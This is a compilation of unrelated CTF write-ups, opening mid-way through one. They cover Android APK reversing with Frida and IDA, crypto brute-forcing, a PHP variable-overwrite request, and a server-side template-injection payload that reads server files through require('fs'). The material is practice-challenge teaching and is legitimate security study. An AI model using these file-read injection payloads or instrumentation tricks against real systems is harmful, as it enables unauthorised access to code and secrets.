public static byte[] decrypt(String key, String initVector, byte[] encrypted) { try { IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8")); SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(2, skeySpec, iv); return cipher.doFinal(encrypted); } catch (Exception ex) { ex.printStackTrace(); return null; }}```
It decrypts "something.jar" file from "res/raw" folder. Well we can bypass some checks done by the app by patching and then fixing other checks and it will decrypt the jar file for us but that again more work, as now we know key and IV we can use openssl or copy paste it to java and do it ourselves.
Key = UCFh%divfMtY3pPDIv = nY6FtpPFXnh,yjvc
openssl enc -d -aes-128-cbc -in something.jar -out something_dec.jar -K 5543466825646976664d745933705044 -iv 6e59364674705046586e682c796a7663
Decrypted jar file contains a classes.dex file. Loading it in jadx we see that there is another AES decryption happening in "Pooper" class, a BroadCast receiver which verifies the key and IV using two different functions and then decrypts the 'secretasset' file from "res/raw" folder.
"checkSomething1" checks for Key
```javapublic boolean checkSomething1(String a) { boolean didSomething = true; int i = 0; while (i < a.length()) { switch (a.charAt(i)) { case '1': if (i == 1) { break; } didSomething = false; break; case '4': if (!(i == 6 || i == 10)) { didSomething = false; break; } case 'a': if (i == 2) { break; } didSomething = false; break; case 'b': if (!(i == 0 || i == 4 || i == 8 || i == 12)) { didSomething = false; break; } case 'h': if (!(i == 3 || i == 7 || i == 11)) { didSomething = false; break; } case 'l': if (!(i == 5 || i == 9 || i == 13)) { didSomething = false; break; } case 'o': if (i == 14) { break; } didSomething = false; break; case 'p': if (i == 15) { break; } didSomething = false; break; default: didSomething = false; break; } i++; } return didSomething;}```
"checkSomething2" validates the IV
```javapublic boolean checkSomething2(String a) { boolean didSomething = true; int i = 0; while (i < a.length()) { switch (a.charAt(i)) { case 'a': if (i == 9) { break; } didSomething = false; break; case 'd': if (!(i == 8 || i == 14)) { didSomething = false; break; } case 'g': if (i == 11) { break; } didSomething = false; break; case 'h': if (!(i == 2 || i == 5)) { didSomething = false; break; } case 'i': if (i == 6) { break; } didSomething = false; break; case 'm': if (!(i == 0 || i == 1 || i == 3)) { didSomething = false; break; } case 'o': if (!(i == 12 || i == 13)) { didSomething = false; break; } case 's': if (!(i == 7 || i == 15)) { didSomething = false; break; } case 't': if (!(i == 10 || i == 4)) { didSomething = false; break; } default: didSomething = false; break; } i++; } return didSomething;}```
These two functions should return true which is only possible if all the checks are satisfied. By satisfying the checks we can inturn create the key and IV to decrypt "secretasset".
KEY = b1ahbl4hbl4hblopIV = mmhmthisdatgoods
openssl enc -d -aes-128-cbc -in secretasset -out secretasset_dec -K 62316168626c3468626c3468626c6f70 -iv 6d6d686d74686973646174676f6f6473
Running `file` command on the decrypted file we see that that its an ELF-32bit ARM binary.
Running it in via shell doesn't produce any output so again lets load it up in IDA.
Looking at the functions window we see network library calls like 'socket', 'bind', 'listen' which confirms that this application might be listening on some port.
Running `netstat` in adb shell we get that indeed it listen on port 1337.
Forwarding ports so that we can connect it with netcat from host system directly.
$ adb forward tcp:1337 tcp:1337$ nc 127.0.0.1 1337<< JOIN, HELLO 10
Even if we type anything in the console we don't get any output, we need to figure out the commands to interact with the server.
Here we see it read string until it finds '\\r\\n' and then compares first character in R3 to 0x5C which in ascii is '\\' so the first character must be '\\' for commands.
Entering '\\' we get <<UNKOWN COMMAND</b> so we are on right path.
All strings are encrypted with different xor key and its something like this
For commands atleast after decryption there is a "strcmp" so lets use [Frida](https://www.frida.re/) to hook strcmp and dump those arguments.
Using a simple JavaScript we hook strcmp```javascriptInterceptor.attach(Module.findExportByName(null, "strcmp"), { onEnter: function (args) { console.log("[*] Strcmp " + Memory.readUtf8String(args[0]) + " , " + Memory.readUtf8String(args[1])); }});```
Output in Frida when i sent '\\'.[*] Strcmp \ , \QUIT[*] Strcmp \ , \PING[*] Strcmp \ , \NAME[*] Strcmp \ , \PRIVATE[*] Strcmp \ , \ACTIVE[*] Strcmp \ , \HELP
So we now have list of commands. Well it took me a day or two to understand what each command was doing and if there was any special feature that it was capable of. Turns out '\\PRIVATE' is one such. It has longest path in IDA graph.
Long story short, i found that '\\PRIVATE' need two arguments, first one REFERENCE and second one MESSAGE, to pass some checks and to land in another function with some more checks.
Entering the function we see it decrypts some characters.
I coded a helper function which decrypts it to 'gettin it done'. Also we see '1337' being compared to some register, turns out its the REFERENCE that we entered. So REFERENCE must be equal to '1337' noted.
Just below few instructions we see a strncmp with our MESSAGE string, so our string must begin with that prefix, noted.
Then there was constants being setup, i dumped the constants using GDB but thats all, couldn't figure out what to do next.
Then there was a big if-else kind of statement in the same function which was not referenced from anywhere(atleast that what IDA thinks, but putting breakpoints using GDB and sometime with Frida, i found that it was called for each of the characters in message)
Decrypting it with the little helper of my own, i get
key: 26length: 10offset: 8e0>>Nice one!&&&))_Z
So its message "Nice One!". Tracing in GDB from where it is called from, i found the calling method at 0xB74. Damn that method is very big, from 0xB74 to 0x159A, around 1300 ARM instructions. Understanding it was my last option.
Then i thought it might be printing "Nice one!" if i entered correct flag?, but then why loop for all characters in the entered MESSAGE, is it checking character by character, only way to verify it was to enter the "cApwN" prefix.
$ nc 127.0.0.1 1337<< JOIN, HELLO 11\PRIVATE 1337 gettin it done cApwNNice one!Nice one!Nice one!Nice one!Nice one!
Well that was pure luck with some crazy idea and it worked, we get 'Nice one!' for number of correct character.
Now we can brute force the flag character by character.
See [brute.py](brute.py) for the script.
It took less than a mins to bruteforce.
Flag - cApwN{d3us_d3x_my_4pk_is_augm3nted}
Author====Arun Kumar Shreevastava |
The writeup is written in Chinese. **To make it easier for foreign players to read, I try to use normative expressions and grammars in this writeup to make machine translations as accurate as possible and not puzzling. Google Translate is recommended!**
https://blog.cal1.cn/post/RCTF%202017%20rCDN%20&%20noxss%20writeup |
Another injection? Awesome, another ART I want to learn so much. Learning *injection*-fu is hard, keep learning, practicing, ctf all the time.
According to Saitama, after a year and half of 100 daily push-ups, sit-ups, and squats, plus 10 km daily running, he had achieved some level of superhuman strength.
Sourcecode (base64)
https://babyphd.net/2017/07/meepwnctf-2017-injection/ |
# Intro
First we notice that color square is added for every three letters in text to encrypt. At the end of image we have `n mod 3` two-decimal hex numbers. Also, color of previous squares didn't change if we add more letters. Knowing that the flag must be in format `flag{md5hash}` we have tried encrypt `flag{x`
And we get what we want to. RGB code of the first color was exactly the same as the color of the flag, and also second color had only different blue value in comprasion with the flag. So, it's brute force time!
# Preparing
First, We prepared code for downloading image and changing it to the color values. Every square is 40x40 with some border, so we take pixel at `(5, 20)`. Also, we didn't analyze the text on the flag, we now that the last character must be `}`, so it will leave us only one character to guess. Here code comes!
```from PIL import Imageimport requestsimport numpy as np
def download_img(url): img = Image.open(requests.get(url, stream=True).raw) img = np.array(img.getdata()) img = np.resize(img, (40, int(len(img)/40), 3)) return img
def img_to_code(url): img = download_img(url) length = len(img[0]) column = 20 array = [] while column < length: for i in img[5][column]: array.append(i) column = column + 40 return array```
# Brute force
We now that the flag is in the `flag{md5hash}` format, so we only have to brute force values in `[a-fA-F0-9]`. To get new square encrypted text must be multiplication of 3. This leaded to not-so-beautiful `if` statement in our solution, but *it works* :D
```flag_url = "https://cryptoengine.stillhackinganyway.nl/flag"flag = img_to_code(flag_url)print(flag)
url = "https://cryptoengine.stillhackinganyway.nl/encrypt?text="text = "fla"
enc_text = img_to_code(url+text)possible = "abcdefABCDEF0123456789"
while len(enc_text) < len(flag): len_enc = len(enc_text) cur_three = "" start = 0 if(text == "fla"): cur_three = "g{" start = 2 for i in range(start, 3): for x in possible: temp = cur_three + x #guess next letter temp = temp + "a"*(3-len(temp)) #fill to three letters temp_url = url+text+temp #concatenate url print(temp_url) attempt = img_to_code(temp_url) if attempt[len_enc+i] == flag[len_enc+i]: #if guess is correct cur_three = cur_three + x break text = text + cur_three enc_text = img_to_code(url+text)```
# Get the flagAfter that we bruteforced by hand last char of md5hash and get the flag! `flag{deaf983eb34e485ce9d2aff0ae44f852}`
--maverick, **PUT CTF team** |
## Level 3
>Think you can solve level 3?>>(Note: Levels 1-4 use the same application)>[ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk](./../challanges/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk)
There is no view for level 3, so we have to stick with code analsis only.
Lets load it in a decompiler, i used [jadx](https://github.com/skylot/jadx).
Fortunately we got Level3Activity in package com.h1702ctf.ctfone, so we can start our analysis from there.
Only thing that is interesting there is calling MonteCarlo.start(); in a thread, moving on to that method we get```javapublic static void start() throws InterruptedException, ExecutionException{ long startTime = System.currentTimeMillis(); ArrayList<Future<Double>> values = new ArrayList(); ExecutorService exec = Executors.newFixedThreadPool(2); for (int i = 0; i < 2; i++) { values.add(exec.submit(new PiValue())); } ArraysArraysArrays.start(); <--- Double sum = Double.valueOf(0.0d); Iterator it = values.iterator(); while (it.hasNext()) { sum = Double.valueOf(sum.doubleValue() + ((Double) ((Future) it.next()).get()).doubleValue()); } Log.i(TAG, "" + (sum.doubleValue() / ((double) 2))); Log.i(TAG, "" + ((System.currentTimeMillis() - startTime) / 1000));}```All other things are just to distract only useful instruction is ArraysArraysArrays.start();
```javapublic static void start(){ int[] list = new int[]{1, 2, 3, 4, 1, 2, 3}; findAndPrintPairs(list, 5); bubblesort(list); showList(list); list = new int[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}; bubblesort(list); showList(list); list = new int[]{11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, -1, -2}; bubblesort(list); showList(list); x(); <--- list = new int[]{1}; bubblesort(list); showList(list);}```
Again other this are just distraction other than x(); function which is defined as a native function. So we finally got to look inside the native library which is present in the lib folder of the apk.
com/h1702ctf/ctfone/Requestor
There are more such blocks but before blindly decrypting all of them lets first check what we have in 'Requester' class.
```javapublic class Requestor { private static String sHostname = "h1702ctf.com"; private static String sUrl = "https://h1702ctf.com/About";
public static native String hName();
public static native String hVal();
public static void request() { try { new Builder().certificatePinner(new CertificatePinner.Builder().add(sHostname, "sha256/8yKUtMm6FtEse2v0yDMtT0hKagvpKSWHpnufb1JP5g8=").add(sHostname, "sha256/YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=").add(sHostname, "sha256/Vjs8r4z+80wjNcr1YKepWQboSIRi63WsWXhIMN+eWys=").build()).build().newCall(new Request.Builder().url(sUrl).addHeader(hName(), hVal()).build()).execute(); } catch (IOException e) { } }}```
So we got only one method which calls home with some headers, but it adds certificate pinning to prevent us from seeing the request using burp or any other MITM proxy.
Now we can do two thing:
* Modify the smali of Requestor class and remove certificate pinning, recompile, sign and install and log the request made.* Disassamble hName and hVal methods from native library and get the result.
While solving this challange i used the second method but while solving other challanges i came across a very useful tool [Frida](https://www.frida.re) so i will show you how to do it easily with Frida.
Frida is a multi-platform dynamic instrumentation framework to inject JavaScript into a process, have a look at it once, it will make your life easier.
Getting back to challange, we have to call the methods hName and hVal from com/h1702ctf/ctfone/Requestor class.
Doing it in frida is piece of cake.```javascriptJava.perform(function(){ var Requestor = Java.use("com.h1702ctf.ctfone.Requestor"); console.log("hName() : " + Requestor.hName()); console.log("hVal() : " + Requestor.hVal());});```Attaching it to our running application process and entering it in commandline, we get hName() : X-Level3-FlaghVal() : V1RCR2QyUXdOVGROVmpnd1lsWTVkV1JYTVdsTk0wcG1UakpvZVUxNlRqbERaejA5Q2c9PQo=
hVal is base64 encoded, actually three times. After decoding we get.
Flag - cApwN{1_4m_numb3r_7hr33}
Author====Arun Kumar Shreevastava |
## Level 1
>Hope you kept your notes.>>(Note: Levels 1-4 use the same application)>[ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk](./../challanges/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk)
This challange was guessing game for me. There is only one native function left to be analyzed and it takes 3 string arguments and returns a string.
Its defined in MonteCarlo class in com.h1702ctf.ctfone package as```javapublic native String functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour(String str, String str2, String str3);```
I ended up analyzing it in IDA. I found that it was creating a hash of 32 characters using libsodium [crypto_generichash](https://download.libsodium.org/doc/hashing/generic_hashing.html) and then xoring it with some constant and finally returning a String.
I thought there will be some bug in the crypto so i started searching but nothing. Also 32 bytes doesn't seem bruteforcable so that was out of equation. I kind of moved to next challange and solved it before i did this.
After solving i re-read the challange description and an idea came to my mind i.e what if we need to input the past three flags.
I quickly fired [Frida](https://www.frida.re/) and with a javascript, passed the last three flags.```javascriptJava.perform(function(){ var monteCarloClass = Java.use("com.h1702ctf.ctfone.MonteCarlo"); var ans = monteCarloClass.functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour("cApwN{WELL_THAT_WAS_SUPER_EASY}","CAPWN{CRYP706R4PHY_15_H4RD_BR0}","cApwN{1_4m_numb3r_7hr33}"); console.log("Ans : "+ans);});```We get our Level 4 flag
Flag - cApwN{w1nn3r_w1nn3r_ch1ck3n_d1nn3r!}
#### AuthorArun Kumar Shreevastava |
__Bugs\_BunnyCTF-2017__
__Category__ - Web | __Points__ - 80
__Description:__
PHP for noobs :p ? Maybe not this time :D http://34.253.165.46/SimplePhp/index.php source : [http://34.253.165.46/SimplePhp/index.txt](https://github.com/notdls/ctf-write-ups/blob/master/Bugs_BunnyCTF-2017/web/SimplePHP-80/flag.php) Author: TnMch
__Useful Resources:__
https://stackoverflow.com/questions/2715654/what-does-dollar-dollar-or-double-dollar-mean-in-php
http://php.net/manual/en/language.variables.variable.php
__Solution:__
Before reading this, I __highly__ recommend you read the stackoverflow post above about variable variables. This was a completely new concept to me because I hadn't done too much PHP in the past and it helped a lot. Also, read the index.php code as this was given to us to help solve the challenge.
So, after reading index.php, we know we need to meet the following conditions: - We have to send a POST request - There __must__ be a flag parameter in the POST data
This is where the main issue arises, by setting a flag parameter in POST you will be over-writing the $flag variable which holds the real flag. So, we must find a way to either not change the flag variable or move it into another variable that is echo'd.
In the first loop we see ``$$key = $$value``, this means we can assign one variable the value of another. In this case, we want to assign __$\_200__ the value of __$flag__, this way it will be echo'd at the end of the file.
We can do this by setting the following GET data in the URL: __index.php?\_200=flag__. But, we also need to set the __flag__ parameter in POST, it doesn't matter what value you give it.
In the end I just wrote a simple [python script](https://github.com/notdls/ctf-write-ups/blob/master/Bugs_BunnyCTF-2017/web/SimplePHP-80/solution.py) to perform the request.```import requestss = requests.Session()post = s.post("http://34.253.165.46/SimplePhp/index.php?_200=flag", data={"flag":"someText"})print(post.text)```Upon running this we get the following output which includes the flag.```This is your flag : someTextBugs_Bunny{This_Isnt_The_Real_Flag}```
|
# Crypto 100 - Simple Cipher
Pour ce challenge, nous avons un message chiffré ainsi que le code utilisé pour le chiffrer.En regardant le code, on peut voir que le message a été chiffré en faisant un XOR du message clair et de la clé (J2msBeG8).Cependant, on constate que le chiffrement se passe de la façon suivante : - L'octet de la clé est XORé avec les X octets du message où X est taille(message) / taille(clef) et l'indice des octets du message est calcul en fonction du compteur du tour de chiffrement et de la taille de la clef. Pour mieux comprendre, voici l'execution du code de chiffrement avec les calculs effectués : 
Pour dechiffré le message, il suffit alors de reprendre la fonction utilisé pour le chiffrement et l'adapter :```pythoncipher = "0c157e2b7f7b515e075b391f143200080a00050316322b272e0d525017562e73183e3a0d564f6718"k3y = "J2msBeG8"cipher_octect = []out = {}
cpt = 0while cpt < len(cipher): tmp = cipher[cpt]+cipher[cpt+1] cipher_octect.append(int(tmp,16)) cpt+=2
cpt = 0for a in range(len(k3y)): i = a for b in range(len(cipher_octect)/len(k3y)): out[i] = cipher_octect[cpt]^ord(k3y[a]) i+=len(k3y) cpt+=1
plain = ""for c in out.keys(): plain+=chr(out[c])
print plain```Et on obtient le flag : FIT{Thi5_cryp74n4lysi5_wa5_very_5impl3}
# Crypto 100 - encryption program leaked
Pour ce challenge, une clef, un chiffré ainsi que le programme de chiffrement nous sont fournis.On commence par regarder le script, et on voit que : - Le message est encodé en base64 - La fonction "padd" ajuste la taille de la clef et du message pour qu'elle soit identique - Le chiffrement est un XOR de la clef et du message - Le message est inversé avant d'effectuer le XOR On ecrit alors un petit script pour déchiffrer le message : ```pythonimport base64
key = 'eglafdsewafslfewamfeopwamfe'encrypt = '5857342f555c2528182b55175e5f543a14540a0617394504380a0e52'
hex_key = []cipher =[]
for k in key: hex_key.append(ord(k))hex_key.append(0) # On ajoute un 0 pour que la clef et le message chiffré fasse la même taille
cpt = 0 while cpt < len(encrypt): cipher.append(int(encrypt[cpt]+encrypt[cpt+1],16)) cpt+=2
plain = [chr(i^j) for i,j in zip(cipher,hex_key)]
plain = plain[::-1] # On inverse le sens du message dechiffréplain = ''.join(plain)print(base64.b64decode(plain))```Et on obtient le flag : FIT{b1r_n3_vwrh1_75}
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>security-fest-2017</span></span><span>/</span>braindump<span>/</span> </div> </div>
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|
This solution was made purely using Shakespeare, no python noob-ism.The writeup is available [here](https://github.com/Varpie/CTFWriteups/blob/master/2017/picoCTF/MuchAdoAboutHacking.md), the program is available [here](https://raw.githubusercontent.com/Varpie/CTFWriteups/master/2017/picoCTF/MuchAdoAboutCracking.spl) and you must use a tabulation to finish your line instead of a space, as the input to get the flag contains spaces. |
it uses jade template engine. and we can inject at "http://alieni.se:3003/render/inject_point".
http://alieni.se:3003/render/404 --> 404 is under construction... http://alieni.se:3003/render/7\*7 --> 49 is under construction... http://alieni.se:3003/render/root --> [object global] is under construction... http://alieni.se:3003/render/root.process.mainModule.require('fs').readdirSync('.') --> Dockerfile,hellothere,hellothere-just-testing-again,index.js,node_modules,package.json,run_service.sh,templates is under construction...
we can get file list of current directory.
http://alieni.se:3003/render/root.process.mainModule.require('fs').readFileSync('index.js') --> we can read index.js, and it has flag.
```var express = require('express');var request = require("request");var eval = require("eval");var ejs = require('ejs');var app = express();var spawn = spawn = require('threads').spawn;
var bodyParser = require('body-parser');app.use(bodyParser.urlencoded({ extended: true }));
app.listen(3003, function () { console.log('A temple jest app listening on port 3003!') });
app.get('/render/:name', function (req, res, next) { console.log(req.originalUrl); var thread = spawn(function(input, done) { var ejs = require('ejs'); flag = "SCTF{m3m0ry_l34k_Schm3m0ry_l34k}"; var html = ejs.render("<%= "+input.name+" %> is under construction...<%# "+("---"+flag).repeat(20)+" %>", {}); done(html); });
//Hack to avoid for(;;){} hanging the whole server... setTimeout(function(){thread.kill();try{res.send("timeout");}catch(z){}}, 3000); thread.send({"name": req.params.name, flag: ""}).on("message", function(html){res.send(html)});});
app.get('/', function(req, res, next){ return ejs.renderFile('./templates/index.ejs', function(err, data){res.send(data);});});
app.get('/package.json', function(req, res, next){ res.sendfile('./package.json');});```
this is index.js source, and flag is "SCTF{m3m0ry_l34k_Schm3m0ry_l34k}" |
Can you find my sensitive infomation?
Dai Lai has acquired a reputation for the land of graceful mountains and debonair water
[Download Link](https://github.com/jbzteam/CTF/blob/master/WhiteHatSummer2017/DaiLaiLake/passcode.zip)
Extracting the archive we got `passcode.apk`
Extracting the apk ad looking for some files we found a database inside the `assets` folder
```ls assetspasscode.sqlite```
the database contains two tables, `user` and `zadminz`:
```sqlite> .tablesuser zadminz```
`user` contains two users:
```SELECT * FROM user;1|[email protected]|12342|[email protected]|3333```
`zadminz` contains the administrator email address:
```SELECT * FROM zadminz;1|[email protected]|7777```
[spamdecoy.net](http://spamdecoy.net) is a service for throw-away mails and allows you to log-in just with the username.
So we logged inside the admin account founding a bunch of mails, but one in particular got out attention:
```Your new PASSCODE is: check_your_db_before_building_app```
So we tried convering it in SHA1 and we got the flag:
`WhiteHat{254eb81a7b439405a5d006eb7cfdf0cd841c6d28}` |
I was able to solve this using [tesseract](https://github.com/tesseract-ocr/tesseract).
I converted the ascii art captchas (consisting of 2 different chars) to bitmaps and fed them into tesseract with the following parameters:*tesseditcharwhitelist* - to the given alphabet with few extra chars like 1 and 7 which I converted to T later in the code (they sometimes looked similar in the captcha).*tessedit_unrej_any_wd* - true (that disables dictionary word recognition).and ran with *PSM_SINGLE_LINE* as the page segmentation mode.
That wasn't perfect but they were expecting a certain % of correct answers and it took quite a few runs to get the flag. |
```# strings file | headfile.arj# mv file file.arj# arj e file.arjBad header# xxd file.arj0000000: 5422 2c00 // Original ARJ is 60EA# hexdump -ve '1/1 "%.2X"' file.arj | sed "s/5422/60EA/g" | xxd -r -p > file-patched.arjflag.png foundBugs_Bunny{r3m3mb3r_4ll_w4ys_t0_ch3ck_h34d3r_f1l3}``` |
```Replace "ZERO " with "0"Replace "ONE " with "1"010100010110111001010110011011100110001100110001001110010100001101100100010101110011010101110101011001010101100001110011011101110100111001010111010110100110110001001111010001000100100101111010010011110100011101001110011011010101101001010111010101010111100001011010010101000101011001101101010011010100010001010010011010010100111001101010010101010111101001001101011110100110110001101001010110100101011101000101001100000101101001101101010101100110101101001101011011100011000000111101Convert Binary to ASCII QnVnc19CdW5ueXswNWZlODIzOGNmZWUxZTVmMDRiNjUzMzliZWE0ZmVkMn0=Decode by Base64Bugs_Bunny{05fe8238cfee1e5f04b65339bea4fed2}``` |
```# strings hex | head0000000: 504b 0304 1403 0000 0800 e304 ed4a 67e3 PK...........Jg. // ZIP file# cat hex | awk '{print $2$3$4$5$6$7$8$9}' | xxd -r -p > hex.zip# unzip hex.ziphex.png foundBugs_Bunny{Y0u_D1D_1T_W3ll}``` |
We're given a file with the contents C, e, and N. These are quickly recognized as RSA encryption where, with P = Plaintext, C=P^e (mod N). Because the given exponent, e = 3, is small and the given modulus is many orders of magnitude above the cipher text, it can be assumes that during encryption, the value never rose above the value N. This means we can simply knock off the "mod N" part of the encryption, leaving us with C = P^e. Solving for P, we get P = C^(1/e) -or- P = eth root(C).
While writing a python program to decrypt the flag, I did run into an issue of precision. Vanilla python decimals are not precise enough to fully decrypt the flag. This is however, easily fixed by using the decimal module which allows setting the desired precision of decimal numbers.
Finally, the code worked and upon running it we get our flag! |
```
# strings file | head
file.arj
# mv file file.arj
# arj e file.arj
Bad header
# xxd file.arj
0000000: 5422 2c00 // Original ARJ is 60EA
# hexdump -ve '1/1 "%.2X"' file.arj | sed "s/5422/60EA/g" | xxd -r -p > file-patched.arj
flag.png found
Bugs_Bunny{r3m3mb3r_4ll_w4ys_t0_ch3ck_h34d3r_f1l3}
``` |
# JSfuck (Grab Bag 117)Author: jokker
> I was writing some valid ECMAScript to print your flag but my fingers slipped and I added several unwanted characters. Could you please fix it for me?
We get a challenge.js in which the code is obfuscated with [jsfuck.com](https://www.jsfuck.com) and additionally has some typos in it, so it can't be run.
```[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])...```
There are some obvious types, a '"' and a '{', which have both nothing to do with JSfuck, so we delete them. Sadly, there are more typos in the code, which aren't that easy to find.
So to find the typos and make the code run we can first replace all findings with there corresponding char ([JSfuck on GitHub](https://github.com/aemkei/jsfuck/blob/master/jsfuck.js)).
```[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](a+l+e+r+t+(+"+f+l+a+(+![]+[![]]+([]+[])[c+(!![]+[][f+i+l+t+e+r])[+]!+[]+[+[]]]+n+s+t+r+u+c+t+o+r])[!+[]+!+[]+[+[]]]+{+I+ +f+[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u+n+e+s+c+a+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[t+(!![]+[][f+i+(![]+[])[!+[]+!+[[]]+t+e+r])[+!+[]+[+[]]]+(+![]+([]+[])[c+o+n+s+t+r+u+c+t+o+r])[+!+[]+[+[]]]+t+r+i+n+g](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+e)()(%+[!+[]+!+[]]+a)+*+[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u)+n+e+s+c+a+p+e)()(%+[!+[]+!+[]]+a)+e+d+ +m+y+ +b+r+a+i+n+ +s+o+ +h+a+r+d+ +i+ +e+n+j+o+y+e+d+ +i+t+}+([]+[])[f+o+n+t+c+o+l+(!![]+[][f+([![]]]+[][[]])[+!+[]+[+[]]]+l+t+e+r])[+!+[]+[+[]]]+r]()[+!+[]+[!+[]+!+[]]]+))()```
Well, we already see a good portion of the text, but we need to do some more manual work to get the flag.
Let's focus on the different spots which fail to convert. Let's begin with this one at the end of the code:
```[f+([![]]]+[][[]])[+!+[]+[+[]]]+l+t+e+r]```
This must be an 'i', so we check what it should look like when obfuscated with JSfuck (don't forget to turn eval off on JSfuck).
```in code: ([![]]]+[][[]])[+!+[]+[+[]]]on jsfuck: ([![]]+[][[]])[+!+[]+[+[]]]```
There we have it, there's an additional ']', so we get rid of that. Let's see what the conversion looks like now.
```[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](a+l+e+r+t+(+"+f+l+a+(+![]+[![]]+([]+[])[c+(!![]+[][f+i+l+t+e+r])[+]!+[]+[+[]]]+n+s+t+r+u+c+t+o+r])[!+[]+!+[]+[+[]]]+{+I+ +f+[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u+n+e+s+c+a+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[t+(!![]+[][f+i+(![]+[])[!+[]+!+[[]]+t+e+r])[+!+[]+[+[]]]+(+![]+([]+[])[c+o+n+s+t+r+u+c+t+o+r])[+!+[]+[+[]]]+t+r+i+n+g](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+e)()(%+[!+[]+!+[]]+a)+*+[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u)+n+e+s+c+a+p+e)()(%+[!+[]+!+[]]+a)+e+d+ +m+y+ +b+r+a+i+n+ +s+o+ +h+a+r+d+ +i+ +e+n+j+o+y+e+d+ +i+t+}+"+))()```
As we can see, this fixed 'i' leaded to an nice representation of a '"' at the end. So we continue this procedure to find all typos in the code. This are the spots which need to be fixed additionally.
```[+]!+[]+[+[]]] # typo in o(![]+[])[!+[]+!+[[]] # typo in l```
This gives us the almost correct code.
```[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](a+l+e+r+t+(+"+f+l+a+g+{+I+ +f+*+*+[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u)+n+e+s+c+a+p+e)()(%+[!+[]+!+[]]+a)+e+d+ +m+y+ +b+r+a+i+n+ +s+o+ +h+a+r+d+ +i+ +e+n+j+o+y+e+d+ +i+t+}+"+))()```
As the attentive reader can see, there's an additional ')' after "return u", which doesn't belong there. So to find this last typo in the original code, one can obfuscate this 'u' with JSfuck and add an additional ')' to it and search for that.
Now that all typos are fixed, the code can be executed and gives us the flag:
**flag{I f\*\*\*ed my brain so hard i enjoyed it}** |
Here my solution for the "**Wiki**" pwnable using radare2, IDA Pro, pwntools and more: [https://dilsec.com/2017/07/27/google-ctf-2017-pwnables-wiki-writeup/](https://dilsec.com/2017/07/27/google-ctf-2017-pwnables-wiki-writeup/)
|
Find me!
[Download Link](https://github.com/jbzteam/CTF/blob/master/WhiteHatSummer2017/Hue/Hue.zip)
Extracting the archive we got the following:```ls Hue.zip 'my collection' openme.zip ```
`my collection` is a directory and `openme` is a password-locked archive
The directory contains a lot of `png` files with flags of states and some pieces of QRCode, reconstructing itscanning it with zbar gave us the password for the archive
```zbarimg qrcode.jpg QR-Code:=== Ea5y p4ssw0rd h4h4 ===scanned 1 barcode symbols from 1 images in 0.15 seconds```
extracting `openme.zip` with the password gave us the following:
```[openme.zip] here.png password: inflating: here.png inflating: flag.txt```
`flag.txt` is just a dummy and contains `It's not here ^^`
After some research on the png we found out is `DotCode`
Scanning it with a DotCode Reader gave us:`flag: d0tc0d3_s0_c00l` |
## Guessthenumber
Could you help us to guess the number?
## How to run
You can find a `makefile` in the `src` folder
LD_PRELOAD="$(pwd)/libc-2.24.so" ./guessthenumber
## How to solve
Full exploit script in `solution/exploit.py`. Writeup on the way. |
```#!/bin/bash# enc.txt.shfile=enc.txtencode=$(cat "$file")enc_test=`echo $encode | cut -c1-10`while [ "$enc_test" != "Bugs_Bunny" ]do encode=`echo $encode | base64 -d` enc_test=`echo $encode | cut -c1-10`doneecho $encode```
```# ./enc.txt.shBugs_Bunny{N0T_H4Rd_4T_4ll}``` |
The creators of the SHA2017 CTF "appetizer" built an own crypto algorithm which needed to be cracked to solve the challenge. This is a good example that building your own proprietary crypto algorithms is always not a good idea.
The fun thing about this crypto is, that the ciphertexts are encoded in pictures. An "encryption engine" (encrypting oracle) is given where text can be entered to generate the corresponding picture. Additionally, the ciphertext of the flag is given.
The full writeup is divided in firstly finding out, how the ciphertext is encoded in the pictures and secondly, how the cipher itself works. In a last section, a link to a python-script which can act as a automatic decryptor can be found. This writeup is located on Github: [Full Writeup](https://github.com/Endres/writeups/blob/master/sha2017/sha2017teaser_crypto200.md) |
Voici un wirte up en francais du challenge Ethical Hacker en Web pour 200 points
Description : Are you a worthy ethical hacker? Join us on Ethical Hackers United.[Write-up](https://p-te.fr/2017/08/06/sah2017-ctf-ethical-hacker-web-200/) |
The challenge name and description and the servers’ response ,
i use this script :
#!/usr/bin/pythonimport socketplist = [88, 156, 983, 1287, 8743, 5622, 9123]host = '34.249.81.124'data = ""for p in plist: print("Attempting to connect to %s on port %s" % (host, p)) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1.0) s.connect((host, p)) data += s.recv(1024) data += s.recv(1024) data += s.recv(1024) s.close() except Exception as e: continueprint data
